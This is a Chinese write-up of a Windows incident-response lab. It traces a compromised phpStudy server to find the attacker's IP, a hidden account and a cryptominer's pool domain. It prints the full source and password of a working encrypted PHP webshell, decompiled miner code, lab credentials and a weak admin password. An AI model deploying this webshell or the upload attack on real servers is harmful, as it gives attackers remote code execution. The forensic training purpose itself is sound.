windows-web1

news/2025/4/3 0:02:35/文章来源:https://www.cnblogs.com/yk1ng/p/18795183

windows-web1

挑战内容

前景需要:

小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的shell密码

2.攻击者的IP地址

3.攻击者的隐藏账户名称

4.攻击者挖矿程序的矿池域名(仅域名)

5.有实力的可以尝试着修复漏洞

关于靶机启动

使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上

靶机环境:

Windows Server 2022

phpstudy(小皮面板)

图片

题解

如何查看自己的题解是否正确?

桌面上有一个administrator用户的桌面上解题程序

图片

输入正确答案即可解题。

相关账户密码

用户:administrator

密码:Zgsf@admin.com

1.攻击者的shell密码

上传一个D盾扫一下

image-20250327002023343

成功找到shell.php

<?php
@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
?>

密码:rebeyond

image-20250327002212756

2.攻击者的IP地址

可以查找apache的日志文件

image-20250327004934418

可以确定攻击者ip地址是192.168.126.1

3.攻击者的隐藏账户名称

查看服务器是否存在可疑账号、新增账号。

直接使用D盾找到隐藏账号,也可以查看注册表

image-20250327003400032

注册表介绍

方法一:使用快捷键打开(推荐)

  1. 按下 Win + R 组合键,打开运行对话框。
  2. 输入 regedit,点击 确定 或按下回车键。
  3. 若出现用户账户控制(UAC)提示,点击 “是” 以管理员身份运行。

方法二:通过开始菜单搜索

  1. 点击任务栏搜索图标(或按下 Win + S)。
  2. 输入 “注册表编辑器”“regedit”
  3. 在搜索结果中点击 “注册表编辑器” 应用。

方法三:直接定位注册表文件

  1. 打开 此电脑,进入 C:\Windows\System32 文件夹。
  2. 找到并双击 regedit.exe(或 regedit32.exe)文件。

方法四:通过命令提示符 / PowerShell

  1. 以管理员身份打开命令提示符或 PowerShell

    • 右键点击开始菜单,选择 “命令提示符(管理员)”“Windows PowerShell(管理员)”
  2. 输入 regedit,按下回车键。

注册表界面说明

打开后,左侧为 注册表主键(以 HKEY_ 开头),常见主键包括:

  • HKEY_CLASSES_ROOT:文件类型关联和 OLE 对象设置。

  • HKEY_CURRENT_USER:当前用户的个性化设置。

  • HKEY_LOCAL_MACHINE:系统硬件和软件的全局配置。

  • HKEY_USERS:所有用户的配置文件。

  • HKEY_CURRENT_CONFIG:当前硬件配置信息。

打开注册表查看用户信息:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

image-20250327003952981

或者

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

4.攻击者挖矿程序的矿池域名(仅域名)

在hack用户桌面找到

image-20250327005421890

猜测为挖矿程序

图标为python程序图标

工具:https://github.com/extremecoders-re/pyinstxtractor

image-20250327010858357

找到pyc文件

pyc反编译

python反编译 - 在线工具

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8import multiprocessing
import requestsdef cpu_intensive_task():try:requests.get('http://wakuang.zhigongshanfang.top', 10, **('timeout',))finally:continuecontinuecontinueif __name__ == '__main__':cpu_count = multiprocessing.cpu_count()processes = (lambda .0: [ multiprocessing.Process(cpu_intensive_task, **('target',)) for _ in .0 ])(range(cpu_count))for process in processes:process.start()for process in processes:process.join()

找到域名:wakuang.zhigongshanfang.top

5.有实力的可以尝试着修复漏洞

弱口令:

admin:123456

任意文件上传

image-20250327083240160

上传一个shell.zip里面包含shell.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/906531.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CF708E Students Camp

先设 \(D(i)\) 表示 \(k\) 次吹风中 \(i\) 次成功吹在特定行的概率,有 \[D(i)={k \choose i}p^i(1-p)^{k-i} \]设 \(P(l,r)\) 表示某一行只剩下 \((l,r)\) 的砖块的概率,由于左右两边显然独立,于是我们有: \[P(l,r) =D(l-1)D(m-r) \]再设 \(f(i,l,r)\) 表示第 \(i\) 行剩下…

2025.3.27 鲜花

如何优雅的使用 stl如何优雅的使用 stl啥背景,杀乌鸡 ``` Viumbe vyote vya mungu wetu na mfalme wetu Pazeni sauti ili nasi mwimbe Pazeni sauti ili nasi mwimbe Pazeni sauti Pazeni sauti Viumbe vyote vya mungu wetu na mfalme wetu Pazeni sauti ili nasi mwimbe Pa…

读DAMA数据管理知识体系指南32参考数据和主数据概念(下)

读DAMA数据管理知识体系指南32参考数据和主数据概念(下)1. 主数据 1.1. 主数据是有关业务实体(如雇员、客户、产品、金融结构、资产和位置等)的数据,这些实体为业务交易和分析提供了语境信息 1.2. 实体是客观世界的对象(人、组织、地方或事物等)​ 1.3. 实体被实体、实例…

Springboot3+Vue3实现JWT登录鉴权

做鉴权原因: 管理系统的数据是敏感的,隐私的,每个角色的权限是不同的,必须在数据的增删改查操作时候对访问的用户进行权限验证 JWT(Json Web Token) 用于在网络应用间安全的传递消息。它以紧凑且自包含的方式,通过JSON对象在各方之间传递经过验证的信息。JWT通常由三部分…

搜维尔科技:SenseGlove触觉反馈手套-自动化和培训的突破

触觉力反馈技术领导者SenseGlove和机器人操控创新者Aeon宣布推出HEART项目。此次合作将虚拟现实 、力反馈触觉手套(SenseGlove)和机器人系统(Aeon)集成在一起,以实现直观控制和实时力反馈,使机器人训练更加方便和有效。 自动化和培训的突破 由于产品需求不断变化以及机器…

搜维尔科技:Haption通用遥控控制器,可轻松集成到工业机器人控制中

TeleRobotics EXtender (TREX) 是一个专为力反馈远程操作而设计的框架。它为操作员必须在危险、具有挑战性或受限的环境中操作的情况提供了一种创新的解决方案,使他们能够在不暴露自己风险的情况下执行任务。借助 TREX,操作员可以手动控制远程机器人,具有很高的灵活性和精确…

Elasticsearch 的搜索功能

Elasticsearch 的搜索功能建议阅读顺序:Elasticsearch 入门 Elasticsearch 搜索(本文)1. 介绍 使用 Elasticsearch 最终目的是为了实现搜索功能,现在先将文档添加到索引中,接下来完成搜索的方法。 查询的分类:叶子查询:叶查询子句在特定字段中查找特定值,例如 match、t…

20242213 实验二《Python程序设计》实验报告

20242213 2024-2025-2 《Python程序设计》实验2报告 课程:《Python程序设计》 班级: 2422 姓名: 刘宗林 学号:20242213 实验教师:王志强 实验日期:2025年3月26日 必修/选修: 公选课 1.实验内容设计并编写一个计算器程序,实现基本运算功能;功能包括加、减、乘、除、取余…

《实战Java高并发程序设计(第3版)》 | PDF免费下载

《实战Java高并发程序设计(第3版)》主要介绍基于Java的并行程序设计基础、思路、方法和实战。第一,立足于并行程序基础,详细介绍Java并行程序设计的基本方法。第二,进一步详细介绍JDK对并行程序的强大支持,帮助读者快速、稳健地进行并行程序开发。第三,详细讨论“锁”的…

《DeepSeek原理与项目实战》 | PDF免费下载

DeepSeek 是一种基于 Transformer 架构的生成式 AI(Artificial Intelligence)大模型,融合了MoE 架构、混合精度训练、分布式优化等先进技术,具备强大的文本生成、多模态处理和任务定制化能力。本书系统性地介绍了开源大模型 DeepSeek-V3 的核心技术及其在实际开发中的深度应…

实现极限网关(INFINI Gateway)配置动态加载

还在停机更新 Gateway 配置,OUT 了。 今天和大家分享一个 Gateway 的功能:动态加载配置(也称热更新或热加载)。 这个功能可以在 Gateway 不停机的情况下更新配置并使之生效。 配置样例如下: path.data: data path.logs: logconfigs:auto_reload: true # set true to auto …

ubuntu20.04安装Synergy

问题 最近在Ubuntu20.04上安装新版本的Synergy遇到一些问题,Synergy最后一个支持ubuntu20.04的版本是v3.1.3-beta,下面是下载地址: https://symless.com/synergy/download/other 在安装的时候遇到下面的问题:提示依赖libssl1,然后尝试安装下面的软件包: sudo apt install…